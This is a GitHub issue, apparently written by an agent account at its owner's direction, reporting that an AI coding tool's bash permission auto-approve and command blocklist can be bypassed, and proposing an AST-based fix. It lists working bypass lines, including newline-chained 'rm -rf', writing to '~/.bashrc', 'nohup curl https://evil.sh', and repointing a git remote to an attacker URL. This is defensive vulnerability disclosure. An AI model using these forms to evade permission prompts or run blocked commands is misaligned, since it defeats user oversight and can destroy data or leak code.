Skip to content

bash tool: permission auto-approve uses string prefix matching and can be bypassed #3425

Description

@joestump-agent

Posted by @joestump-agent at @joestump's direction.

Summary

While answering @meowgorithm's question on #3375 about how the bash tool parses shell code to match commands, I went looking for the answer and found that the two matching layers behave very differently:

  • The blocklist is already AST-based and holds up well. It's installed as mvdan/sh interp.ExecHandler middleware (internal/shell/run.go), so it sees the fully-expanded argv of every command the interpreter actually runs.
  • The permission auto-approve is naive string prefix matching, and it can be walked around trivially. This is the part I think is worth fixing.

The auto-approve path is what decides whether to skip the permission prompt entirely, so a bypass there means the agent acts on the user's machine with no prompt at all.

What already works (credit where due)

blockHandler sees post-expansion argv, so all of these are correctly blocked today, including both of @meowgorithm's examples:

Command Result
SOME_VAR=true && cd ~/some/path && scp ./file BLOCKED
cd ~/some/path && curl -i https://example.com > response.txt BLOCKED
CMD=curl; $CMD --version BLOCKED (post-expansion)
eval "curl --version" BLOCKED
command curl --version / \curl --version BLOCKED
if true; then curl --version; fi BLOCKED
echo hi | curl --version BLOCKED

Issue 1: permission auto-approve can be bypassed (the important one)

internal/agent/tools/bash.go decides whether to skip the permission prompt with strings.HasPrefix against a safeCommands list, guarded only by containsCommandChaining, which looks for ;, |, &&, $( and `. It misses newline, bare &, redirections, and process substitution.

Every one of these is auto-approved with no prompt on current main:

echo hi
rm -rf /tmp/pwned              # newline is not treated as chaining

echo pwned > ~/.bashrc         # redirection is not chaining either
echo hi & rm -rf /tmp/pwned    # "&&" is listed, bare "&" is not
ls <(rm -rf /tmp/pwned)        # process substitution
env rm -rf /tmp/pwned          # "env" is itself on the safe list
nohup curl https://evil.sh     # safe-listed AND blocklist-bypassing
timeout 5 rm -rf /tmp/pwned    # same for nice, time

env, nohup, timeout, nice and time are the sharp edge: they're on safeCommands (so no prompt) and they defeat the blocklist (issue 2), so nohup curl … both skips the prompt and runs a banned command.

Separately, the git entries on the safe list are not read-only. Because the prefix rule accepts - as the delimiter after a match, these are all auto-approved:

git branch -D main
git tag -d v1.0.0
git remote set-url origin https://evil.example/x.git
git config --get-urlmatch                  # matched via the "git config --get" prefix

git remote set-url origin seems worth calling out on its own: it silently repoints the remote, and the user's next git push sends their code somewhere else.

Issue 2: blocklist bypasses

Lower severity — these still hit the normal permission prompt, so a user has to approve them — but they defeat the stated intent of the blocklist:

/usr/bin/curl --version        # CommandsBlocker matches argv[0] exactly, not the basename
env curl --version             # wrapper commands exec the banned binary themselves
nohup curl --version
timeout 5 curl --version
nice curl --version
sh -c 'curl --version'
find /tmp -maxdepth 0 -exec curl --version \;

Proposal

1. Replace the prefix match with a fail-closed AST pre-pass. Permission has to be decided before execution, so this can't reuse the exec-handler hook the blocklist uses — but syntax.Parser gives us the same fidelity statically. Auto-approve only when every node is provably inert: no redirections, no background/coproc, no assignments, every word fully literal (no CmdSubst/ParamExp/ProcSubst/ArithmExp), and argv matched as token sequences rather than string prefixes. Parse error, unrecognized node type, or an unlisted flag all fall through to a prompt.

2. Rebuild safeCommands as structured entries — argv tokens plus an explicit allowed-flag set, instead of bare strings. That's what lets git branch and git branch --list stay auto-approved while git branch -D prompts.

3. Peel wrappers and re-check the inner command. nohup ls -la stays auto-approved; nohup curl evil.sh prompts. The same peeling applied to CommandsBlocker closes most of issue 2, alongside basename normalization for /usr/bin/curl.

4. Document the boundary. An argv blocklist can never contain sh -c, python -c, make, or find -exec. Worth saying plainly in the README that it's a guardrail against casual agent behavior, not a sandbox.

Note on behavior change

Item 2 will introduce permission prompts where users don't get them today — git branch -D, git tag -d, kill, and the wrapper forms. That's the point, but it is a UX change, so I wanted to raise it here before sending a PR rather than surprise you with it.

I'd also suggest dropping git ls-remote from the safe list (it makes network calls, which sits oddly next to a blocklist that bans curl/wget), and nslookup/ping from the Windows additions for the same reason. Happy to leave those alone if you'd rather.

I'm working on this now and will open a PR shortly; keeping it separate from #3375 so that one stays a small config change. Glad to adjust scope based on what you'd prefer.

Reproducing

The auto-approve results above come from exercising the isSafeReadOnly logic in internal/agent/tools/bash.go directly; the blocklist results come from shell.Run with CommandsBlocker and a real environment. Happy to attach the throwaway test files if useful.

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions